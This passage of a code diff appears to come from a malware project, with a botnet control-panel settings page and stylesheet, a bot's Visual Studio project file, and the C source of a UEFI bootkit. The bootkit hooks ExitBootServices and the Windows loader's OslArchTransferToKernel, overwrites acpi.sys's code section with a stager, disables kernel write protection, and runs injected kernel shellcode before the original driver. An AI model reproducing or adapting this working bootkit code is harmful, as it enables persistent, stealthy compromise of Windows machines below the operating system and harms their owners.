echo('<div class="error">User and password must be at least '.$minChars.' characters long</div>');
}
else
echo('<div class="error">Passwords are not the same</div>');
}
?>
<style>
.content
{
text-align: center;
font-size: 0;
}
.box
{
width: 500px;
font-size: 12px;
}
.left
{
text-align: left;
display: inline-block;
vertical-align:top;
}
.error, .info
{
margin-bottom: 10px;
}
</style>
<div class="left" style="margin-right: 10px;">
<form class="box margin-bottom" method="POST">
<div>Update Timeouts (Seconds)</div>
<input type="hidden" name="time" value="<?php echo($_SESSION['time']); ?>">
<table>
<tr><td>Timeout:</td><td><input type="text" name="timeout_offline" class="input" value="<?php echo $CONF_TIMEOUT_OFFLINE; ?>"></td></tr>
<tr><td>Dead:</td><td><input type="text" name="timeout_dead" class="input" value="<?php echo $CONF_TIMEOUT_DEAD; ?>"></td></tr>
<tr><td></td><td><input type="submit" class="btn" value="Update"></td></tr>
</table>
</form>
<form class="box margin-bottom" method="POST">
<div>Update Database Credentials</div>
<input type="hidden" name="time" value="<?php echo($_SESSION['time']); ?>">
<table>
<tr><td>Host:</td><td><input type="text" name="db_host" class="input" value="<?php echo $CONF_DB_HOST; ?>"></td></tr>
<tr><td>Database:</td><td><input type="text" name="db_name" class="input" value="<?php echo $CONF_DB_NAME; ?>"></td></tr>
<tr><td>Username:</td><td><input type="text" name="db_user" class="input" value="<?php echo $CONF_DB_USER; ?>"></td></tr>
<tr><td>Password:</td><td><input type="password" name="db_pass" class="input"></td></tr>
<tr><td></td><td><input type="submit" class="btn" value="Update"></td></tr>
</table>
</form>
</div>
<div class="left">
<form class="box margin-bottom" method="POST">
<div>Update Panel Credentials</div>
<input type="hidden" name="time" value="<?php echo($_SESSION['time']); ?>">
<table>
<tr><td>Username:</td><td><input type="text" name="user" class="input" value="<?php echo $CONF_PANEL_USER; ?>"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" class="input"></td></tr>
<tr><td>Password Verification:</td><td><input type="password" name="pass2" class="input"></td></tr>
<tr><td></td><td><input type="submit" class="btn" value="Update"></td></tr>
</table>
</form>
</div>
<?php
ui_content_end();
ui_end();
?>

210
panel/style/style.css Normal file
View File

@ -0,0 +1,210 @@
body
{
font-size: 12px;
font-family: Verdana, Geneva, sans-serif;
background: #FFF;
width: 1100px;
margin: auto;
padding-top: 10px;
background: #F2F2F2;
}
.nav
{
padding: 2px 5px;
}
.nav a, .btn
{
border: 1px solid #AAA;
color: rgb(0, 0, 0);
text-decoration: none;
margin-right: -1px;
padding: 2px 20px;
background: #F2F2F2;
background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%);
position: relative;
border-radius: 2px;
}
.btn
{
color: #000;
}
.nav a
{
border-bottom-left-radius: 0px;
border-bottom-right-radius: 0px;
padding: 2px 20px;
}
.nav a:hover, .btn:hover
{
background-image: linear-gradient(to bottom, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%);
}
.nav a.current
{
background: #F7F7F7;
border-bottom: 1px solid #F7F7F7;
padding-top: 4px;
box-shadow: 5px 0 5px -5px #AAA, -5px 0 5px -5px #AAA;
z-index: 1;
color: #000;
}
.nav a.current:first-child
{
box-shadow: 5px 0 5px -5px #AAA;
}
.nav a.current:last-child
{
box-shadow: -5px 0 5px -5px #AAA;
}
.content
{
border: 1px solid #888;
padding: 10px;
background: #F7F7F7;
}
.input
{
padding: 2px;
border: 1px solid #AAA;
border-radius: 2px;
}
form table td:first-child
{
padding-right: 10px;
width: 1%;
}
.box
{
border: 1px solid #888;
padding: 10px;
background: #F2F2F2;
border-radius: 2px;
}
.box div:first-child
{
font-style: bold;
border-bottom: 1px solid #AAA;
margin: -10px;
margin-bottom: 10px;
padding: 5px;
background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%);
}
.box div:first-child:before,
.box div:first-child:after
{
content: '';
color: #AAA;
padding-right: 5px;
padding-left: 5px;
}
.margin-bottom
{
margin-bottom: 10px;
}
.margin-top
{
margin-top: 10px;
}
.center {
margin: 0;
position: absolute;
top: 50%;
left: 50%;
-ms-transform: translate(-50%, -50%);
transform: translate(-50%, -50%);
}
.info, .error, .success
{
padding: 5px 0px;
border: 1px solid;
text-align: center;
font-size: 12px;
}
.info
{
color: #00529B;
background: #f2f2ff;
}
.error
{
color: #D8000C;
background: #ffe5e5;
}
.success
{
color: #00d81d;
background: #ffe5e5;
}
.box .input
{
width: 100%;
}
.table
{
border-collapse: collapse;
width: 100%;
}
.table td, .table th
{
border: 1px solid #AAA;
padding: 5px;
}
.table th
{
font-style: bold;
background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F7F7F7 100%);
font-weight: normal;
border: 1px solid #888;
}
.table tr:nth-child(even)
{
background: #F7F7F7;
}
.table tr:nth-child(odd)
{
background: #F2F2F2;
}
.disabled
{
pointer-events: none;
cursor: default;
opacity: 0.6;
}
.footer
{
text-align: center;
padding: 5px 0px;
border: 1px solid #888;
border-top: 0px;
background-image: linear-gradient(to top, #E8E8E8 0%, #FFF 50%, #F2F2F2 100%);
color: #666;
display: block;
}

17
src/Bootkit/Common.h Normal file
View File

@ -0,0 +1,17 @@
#pragma once
#include <windows.h>
#include <intrin.h>
#include "global/Labels.h"
#include "global/Macros.h"
#include "global/Config.h"
#include "global/Hash.h"
#include "global/Pe.h"
#include "gnu-efi/efi.h"
#include "OslArchTransferToKernel.h"
#include "ExitBootServices.h"
#include "DrvMain.h"
#include "EfiMain.h"
#include "Native.h"
#include "EfTbl.h"

127
src/Bootkit/DrvMain.c Normal file
View File

@ -0,0 +1,127 @@
#include "Common.h"
VOID
NTAPI
KeSetSystemAffinityThread(
_In_ SIZE_T Affinity
);
PVOID
NTAPI
ExAllocatePool(
_In_ SIZE_T PoolType,
_In_ SIZE_T NumberOfBytes
);
VOID
NTAPI
MmUnmapIoSpace(
_In_ LPVOID BaseAddress,
_In_ SIZE_T NumberOfBytes
);
PVOID
NTAPI
MmMapIoSpace(
_In_ LPVOID PhysicalAddress,
_In_ SIZE_T NumberOfBytes,
_In_ SIZE_T CacheType
);
typedef struct
{
D_API( KeSetSystemAffinityThread );
D_API( ExAllocatePool );
D_API( MmUnmapIoSpace );
D_API( MmMapIoSpace );
} API ;
/* API Hashes */
#define H_API_KESETSYSTEMAFFINITYTHREAD 0x80679c78 /* KeSetSystemAffinityThread */
#define H_API_EXALLOCATEPOOL 0xa1fe8ce1 /* ExAllocatePool */
#define H_API_MMUNMAPIOSPACE 0xf2610ec4 /* MmUnmapIoSpace */
#define H_API_MMMAPIOSPACE 0x7fbf0801 /* MmMapIoSpace */
/*!
*
* Purpose:
*
* Copies over a larger kernel shellcode and injects
* it into the host memory.
*
!*/
D_SEC( G ) NTSTATUS NTAPI DrvMain( _In_ PVOID DriverObject, _In_ PVOID RegistryPath )
{
API Api;
ULONG Ofs = 0;
PVOID Fcn = NULL;
PVOID Phy = NULL;
PEFTBL Eft = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
PIMAGE_SECTION_HEADER Sec = NULL;
PLDR_DATA_TABLE_ENTRY Ldr = NULL;
/* Zero out stack structures */
RtlSecureZeroMemory( &Api, sizeof( Api ) );
/* Get efi table */
Eft = C_PTR( G_PTR( EfTbl ) );
Dos = C_PTR( U_PTR( Eft->TgtDrvImgBase ) );
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
Ldr = C_PTR( U_PTR( Eft->TgtDrvLdrEntry ) );
Sec = C_PTR( U_PTR( Eft->TgtDrvImgSect ) );
/* Get functions */
Api.KeSetSystemAffinityThread = PeGetFuncEat( Eft->KernelBase, H_API_KESETSYSTEMAFFINITYTHREAD );
Api.ExAllocatePool = PeGetFuncEat( Eft->KernelBase, H_API_EXALLOCATEPOOL );
Api.MmUnmapIoSpace = PeGetFuncEat( Eft->KernelBase, H_API_MMUNMAPIOSPACE );
Api.MmMapIoSpace = PeGetFuncEat( Eft->KernelBase, H_API_MMMAPIOSPACE );
/* Map the physical memory */
if ( ( Phy = Api.MmMapIoSpace( Eft->KernelBuf, Eft->KernelLen, 0 ) ) != NULL ) {
/* Allocate a nonpaged pool to execute over */
if ( ( Fcn = Api.ExAllocatePool( 0 /* NonPaged */, Eft->KernelLen ) ) != NULL ) {
/* Copy over the buffer */
__builtin_memcpy( Fcn, Phy, Eft->KernelLen );
/* Get KernelMain() addr */
Ofs = U_PTR( G_PTR( KmEnt ) ) - U_PTR( G_PTR( EfiMain ) );
Fcn = C_PTR( U_PTR( Fcn ) + Ofs );
/* Execute KernelMain( KernelBase ); */
( ( VOID NTAPI ( * )( PVOID, PVOID ) ) Fcn )( Eft->KernelBase, Eft->TgtDrvImgBase );
};
/* Unmap the memory */
Api.MmUnmapIoSpace( Phy, Eft->KernelLen );
};
/* Force to 1 CPU */
Api.KeSetSystemAffinityThread( 1 );
/* Remove write protection */
__writecr0( __readcr0() &~ 0x000010000 );
/* Fix the section permissions */
Sec->Characteristics &= IMAGE_SCN_MEM_EXECUTE;
/* Fix the entrypoint */
Ldr->EntryPoint = C_PTR( U_PTR( Dos ) + U_PTR( Eft->TgtDrvAddressOfEntrypoint ) );
/* Fix the image header */
Nth->OptionalHeader.AddressOfEntryPoint = Eft->TgtDrvAddressOfEntrypoint;
/* Insert write protection */
__writecr0( __readcr0() | 0x000010000 );
/* Zero out stack structures */
RtlSecureZeroMemory( &Api, sizeof( Api ) );
/* Execute original driver entrypoint */
return ( ( __typeof__( DrvMain ) * ) C_PTR( U_PTR( Eft->TgtDrvImgBase ) + Eft->TgtDrvAddressOfEntrypoint ) )(
DriverObject, RegistryPath
);
};

3
src/Bootkit/DrvMain.h Normal file
View File

@ -0,0 +1,3 @@
#pragma once
D_SEC( G ) NTSTATUS NTAPI DrvMain( _In_ PVOID DriverObject, _In_ PVOID RegistryPath );

17
src/Bootkit/EfTbl.h Normal file
View File

@ -0,0 +1,17 @@
#pragma once
typedef struct __attribute__(( packed ))
{
// ExitBootServicesHook / OslArchTransferToKernelHook
EFI_EXIT_BOOT_SERVICES ExitBootServices;
PVOID OslArchTransferToKernelGate;
// DrvMain
PVOID KernelBuf;
ULONG KernelLen;
PVOID KernelBase;
PVOID TgtDrvImgSect;
PVOID TgtDrvImgBase;
PVOID TgtDrvLdrEntry;
ULONG TgtDrvAddressOfEntrypoint;
} EFTBL, *PEFTBL;

68
src/Bootkit/EfiMain.c Normal file
View File

@ -0,0 +1,68 @@
#include "Common.h"
D_SEC( A ) EFI_STATUS EFIAPI EfiMain( _In_ EFI_HANDLE ImageHandle, _In_ EFI_SYSTEM_TABLE * SystemTable )
{
SIZE_T Len = 0;
SIZE_T Pct = 0;
EFI_PHYSICAL_ADDRESS Epa = 0;
PEFTBL Eft = NULL;
PCONFIG Cfg = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
/* Calculate the complete length of the current shellcode */
Len = ( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( EfiMain ) );
/* Calculate the number of pages needed for the allocation */
Pct = ( ( ( Len + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) ) / 0x1000 );
/* Allocate the pages for the shellcode */
if ( SystemTable->BootServices->AllocatePages( AllocateAnyPages, EfiRuntimeServicesData, Pct, &Epa ) == EFI_SUCCESS ) {
/* Save a copy of the handler */
Eft = C_PTR( G_PTR( EfTbl ) );
Eft->ExitBootServices = C_PTR( SystemTable->BootServices->ExitBootServices );
/* Copy over the shellcode */
__builtin_memcpy( C_PTR( Epa ), C_PTR( G_PTR( EfiMain ) ), Len );
/* Insert hooks into the handler */
SystemTable->BootServices->ExitBootServices = C_PTR( U_PTR( Epa ) + ( G_PTR( ExitBootServicesHook ) - G_PTR( EfiMain ) ) );
};
if ( ImageHandle != NULL ) {
/* Locate the 'Leave' symbol @ GetIp */
Cfg = C_PTR( U_PTR( GetIp() ) + 11 );
/* Get the EfiMain symbol */
Dos = C_PTR( G_PTR( EfiMain ) );
Dos = C_PTR( U_PTR( U_PTR( Dos ) &~ ( 0x20 - 1 ) ) );
do
{
/* Has the MZ Stub? */
if ( Dos->e_magic == IMAGE_DOS_SIGNATURE ) {
/* Patch the specified e_lfanew? */
if ( Dos->e_lfanew == Cfg->AddressOfNewExeHeader ) {
/* Get a pointer to the NT header */
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
/* Is our NT header? */
if ( Nth->Signature == IMAGE_NT_SIGNATURE ) {
/* Yes! Abort! */
break;
};
};
};
/* Decrement */
Dos = C_PTR( U_PTR( Dos ) - 0x20 );
} while ( TRUE );
/* Execute EfiMain of the infected file */
return ( ( __typeof__( EfiMain ) * ) C_PTR( U_PTR( Dos ) + Cfg->AddressOfEntrypoint ) )(
ImageHandle, SystemTable
);
};
return EFI_SUCCESS;
};

3
src/Bootkit/EfiMain.h Normal file
View File

@ -0,0 +1,3 @@
#pragma once
D_SEC( A ) EFI_STATUS EFIAPI EfiMain( _In_ EFI_HANDLE ImageHandle, _In_ EFI_SYSTEM_TABLE * SystemTable );

View File

@ -0,0 +1,116 @@
#include "Common.h"
D_SEC( B ) EFI_STATUS EFIAPI ExitBootServicesHook( EFI_HANDLE ImageHandle, UINTN Key )
{
SIZE_T Osl = 0;
PVOID Osp = NULL;
PEFTBL Eft = NULL;
PUINT8 Ptr = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
PIMAGE_SECTION_HEADER Sec = NULL;
PIMAGE_DATA_DIRECTORY Dir = NULL;
PIMAGE_EXPORT_DIRECTORY Exp = NULL;
/* Get pointer to EFI Table */
Eft = C_PTR( G_PTR( EfTbl ) );
/* Find the return address and align it to the bottom of the page */
Dos = C_PTR( __builtin_extract_return_addr( __builtin_return_address( 0 ) ) );
Dos = C_PTR( U_PTR( U_PTR( Dos ) &~ ( 0x1000 - 1 ) ) );
do
{
/* Is this the MZ magic? */
if ( Dos->e_magic == IMAGE_DOS_SIGNATURE ) {
if ( Dos->e_lfanew < 0x100 ) {
/* Get NT header */
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
if ( Nth->Signature == IMAGE_NT_SIGNATURE ) {
/* Abort */
break;
};
};
};
/* Decrement */
Dos = C_PTR( U_PTR( Dos ) - 0x1000 );
} while ( TRUE );
/* Get pointer to the export table data directory */
Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
if ( Dir->VirtualAddress ) {
/* Get pointer to the export address table */
Exp = C_PTR( U_PTR( Dos ) + Dir->VirtualAddress );
/* Is our target boot services driver? */
if ( HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x8deb5a3a ||
HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x64255bfd ||
HashString( C_PTR( U_PTR( Dos ) + Exp->Name ), 0 ) == 0x64259d80 )
{
/* Get PE Section header */
Sec = IMAGE_FIRST_SECTION( Nth );
/* Enumerate all PE Sections */
for ( INT Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
/* Is this .text section? */
if ( HashString( & Sec[ Idx ].Name, 0 ) == 0x0b6ea858 ) {
for ( INT Jdx = 0 ; Jdx < Sec[ Idx ].SizeOfRawData ; ++Jdx ) {
/* Get a pointer to the current instruction */
Ptr = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress + Jdx );
/* OslArchTransferToKernel Signature x1 */
if ( Ptr[ 0x00 ] == 0x33 && Ptr[ 0x01 ] == 0xf6 &&
Ptr[ 0x15 ] == 0x48 && Ptr[ 0x16 ] == 0x8d && Ptr[ 0x17 ] == 0x05 &&
Ptr[ 0x1c ] == 0x48 && Ptr[ 0x1d ] == 0x8d && Ptr[ 0x1e ] == 0x0d &&
Ptr[ 0x23 ] == 0x0f && Ptr[ 0x24 ] == 0x01 && Ptr[ 0x25 ] == 0x10 &&
Ptr[ 0x26 ] == 0x0f && Ptr[ 0x27 ] == 0x01 && Ptr[ 0x28 ] == 0x19 )
{
Osp = C_PTR( Ptr );
Osl = 14;
break;
};
/* OslArchTransferToKernel Signature x2 */
if ( Ptr[ 0x00 ] == 0x33 && Ptr[ 0x01 ] == 0xf6 &&
Ptr[ 0x17 ] == 0x48 && Ptr[ 0x18 ] == 0x8d && Ptr[ 0x19 ] == 0x05 &&
Ptr[ 0x1e ] == 0x48 && Ptr[ 0x1f ] == 0x8d && Ptr[ 0x20 ] == 0x0d &&
Ptr[ 0x25 ] == 0x0f && Ptr[ 0x26 ] == 0x01 && Ptr[ 0x27 ] == 0x10 &&
Ptr[ 0x28 ] == 0x0f && Ptr[ 0x29 ] == 0x01 && Ptr[ 0x2a ] == 0x19 )
{
Osp = C_PTR( Ptr );
Osl = 16;
break;
};
/* Note: Add x86 signatures here if you want x86 support */
};
/* .text is found */
break;
};
};
/* Has the pointer to the function? */
if ( Osp != NULL ) {
/* Copy over the callgate. */
__builtin_memcpy( C_PTR( G_PTR( EfClg ) ), Osp, Osl );
/* Insert hook into OslArchTransferToKernel */
*( PUINT16 )( C_PTR( U_PTR( Osp ) + 0x00 ) ) = ( UINT16 )( 0x25FF );
*( PUINT32 )( C_PTR( U_PTR( Osp ) + 0x02 ) ) = ( UINT32 )( 0 );
*( PUINT64 )( C_PTR( U_PTR( Osp ) + 0x06 ) ) = ( UINT64 )( C_PTR( G_PTR( OslArchTransferToKernelHook ) ) );
/* Insert jump callgate */
*( PUINT16 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x00 ) ) = ( UINT16 )( 0x25FF );
*( PUINT32 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x02 ) ) = ( UINT32 )( 0 );
*( PUINT64 )( C_PTR( U_PTR( G_PTR( EfClg ) ) + Osl + 0x06 ) ) = ( UINT64 )( C_PTR( U_PTR( Osp ) + Osl ) );
/* Store the callgate address */
Eft->OslArchTransferToKernelGate = C_PTR( G_PTR( EfClg ) );
};
};
};
/* Execute original function */
return Eft->ExitBootServices( ImageHandle, Key );
};

View File

@ -0,0 +1,3 @@
#pragma once
D_SEC( B ) EFI_STATUS EFIAPI ExitBootServicesHook( EFI_HANDLE ImageHandle, UINTN Key );

22439
src/Bootkit/Native.h Normal file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,96 @@
#include "Common.h"
typedef struct
{
ULONG OsMajorVersion;
ULONG OsMinorVersion;
ULONG Length;
ULONG Reserved;
LIST_ENTRY LoadOrderListHead;
LIST_ENTRY MEmoryDescriptorListHead;
LIST_ENTRY BootDriverListHead;
} PARAMETER_BLOCK, *PPARAMETER_BLOCK ;
D_SEC( B ) VOID EFIAPI OslArchTransferToKernelHook( _In_ PVOID LoaderBlock, _In_ PVOID Entry )
{
SIZE_T Len = 0;
PEFTBL Eft = NULL;
PLIST_ENTRY Hdr = NULL;
PLIST_ENTRY Ent = NULL;
PPARAMETER_BLOCK Blk = NULL;
PIMAGE_DOS_HEADER Ntd = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
PIMAGE_SECTION_HEADER Sec = NULL;
PLDR_DATA_TABLE_ENTRY Ldr = NULL;
/* Get EfiTable address */
Eft = C_PTR( G_PTR( EfTbl ) );
Blk = C_PTR( LoaderBlock );
/* Initialize list values */
Hdr = & Blk->LoadOrderListHead;
Ent = Hdr->Flink;
/* Enumerate the list to completion */
while ( C_PTR( Ent ) != C_PTR( Hdr ) ) {
/* Get the LDR_DATA_TABLE_ENTRY */
Ldr = CONTAINING_RECORD( Ent, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks );
/* Is this acpi.sys? */
if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == 0x5dc8930f ) {
Dos = C_PTR( Ldr->DllBase );
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
Sec = IMAGE_FIRST_SECTION( Nth );
/* Enumerate all the PE Sections */
for ( INT Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
/* Is this a .text section? */
if ( HashString( & Sec[ Idx ].Name, 0 ) == 0x0b6dca4d ) {
/* Locate the ntoskrnl image base */
Ntd = C_PTR( U_PTR( U_PTR( Entry ) &~ ( 0x1000 - 1 ) ) );
while ( Ntd->e_magic != IMAGE_DOS_SIGNATURE ) {
/* Decrement by a page! */
Ntd = C_PTR( U_PTR( Ntd ) - 0x1000 );
};
/* Store information for DrvMain to retrieve */
Eft->KernelBuf = C_PTR( G_PTR( EfiMain ) );
Eft->KernelLen = U_PTR( ( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( EfiMain ) ) );
Eft->KernelBase = C_PTR( Ntd );
Eft->TgtDrvImgSect = C_PTR( & Sec[ Idx ] );
Eft->TgtDrvImgBase = C_PTR( Ldr->DllBase );
Eft->TgtDrvLdrEntry = C_PTR( Ldr );
Eft->TgtDrvAddressOfEntrypoint = Nth->OptionalHeader.AddressOfEntryPoint;
/* Find the total length of the buffer */
Len = C_PTR( U_PTR( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( DrvMain ) ) );
/* Insert DrvMainStart */
__builtin_memcpy( C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress ), C_PTR( G_PTR( DrvMain ) ), Len );
/* Insert a hook! */
Ldr->EntryPoint = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress );
Nth->OptionalHeader.AddressOfEntryPoint = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress );
/* Set -x permission in section */
Sec[ Idx ].Characteristics |= IMAGE_SCN_MEM_EXECUTE;
/* Break! */
break;
};
};
/* Break! */
break;
};
/* Next entry */
Ent = C_PTR( Ent->Flink );
};
/* Execute original OslArchTransferToKernel stub and callgate */
( ( __typeof__( OslArchTransferToKernelHook ) * ) Eft->OslArchTransferToKernelGate )( LoaderBlock, Entry );
};

View File

@ -0,0 +1,11 @@
#pragma once
/*!
*
* Purpose:
*
* Inserts a kernel shellcode stager into ACPI.SYS
* .rsrc section, and directs execution to it.
*
!*/
D_SEC( B ) VOID EFIAPI OslArchTransferToKernelHook( _In_ PVOID LoaderBlock, _In_ PVOID Entry );

213
src/Bot/Bot.vcxproj Normal file
View File

@ -0,0 +1,213 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{4415A846-1C99-4260-960D-40E141837813}</ProjectGuid>
<RootNamespace>client</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>Bot</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
<CLRSupport>false</CLRSupport>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<GenerateManifest>true</GenerateManifest>
<IgnoreImportLibrary>false</IgnoreImportLibrary>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<GenerateManifest>false</GenerateManifest>
<LinkIncremental>
</LinkIncremental>
<IgnoreImportLibrary>false</IgnoreImportLibrary>
<IncludePath>C:\Users\user\Documents\NzT\src\Shared;$(IncludePath)</IncludePath>
<SourcePath>C:\Users\user\Documents\NzT\src\Shared;$(SourcePath)</SourcePath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>C:\Users\user\Documents\NzT\src\Shared;$(IncludePath)</IncludePath>
<SourcePath>C:\Users\user\Documents\NzT\src\Shared;$(SourcePath)</SourcePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>
</SDLCheck>
<ConformanceMode>false</ConformanceMode>
<BufferSecurityCheck>true</BufferSecurityCheck>
<SupportJustMyCode>false</SupportJustMyCode>
<CallingConvention>Cdecl</CallingConvention>
<CompileAs>Default</CompileAs>
<AdditionalIncludeDirectories>C:\Users\x\Documents\Projects\NzT\Shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;WIN32_LEAN_AND_MEAN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ExceptionHandling>false</ExceptionHandling>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<EntryPointSymbol>
</EntryPointSymbol>
<AdditionalDependencies>crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level2</WarningLevel>
<Optimization>Disabled</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<ConformanceMode>false</ConformanceMode>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PreprocessorDefinitions>WIN32_LEAN_AND_MEAN</PreprocessorDefinitions>
<ExceptionHandling>false</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<CallingConvention>Cdecl</CallingConvention>
<CompileAs>CompileAsC</CompileAs>
<AdditionalIncludeDirectories>C:\Users\x\Documents\Projects\NzT\Shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<InlineFunctionExpansion>Default</InlineFunctionExpansion>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<BasicRuntimeChecks>
</BasicRuntimeChecks>
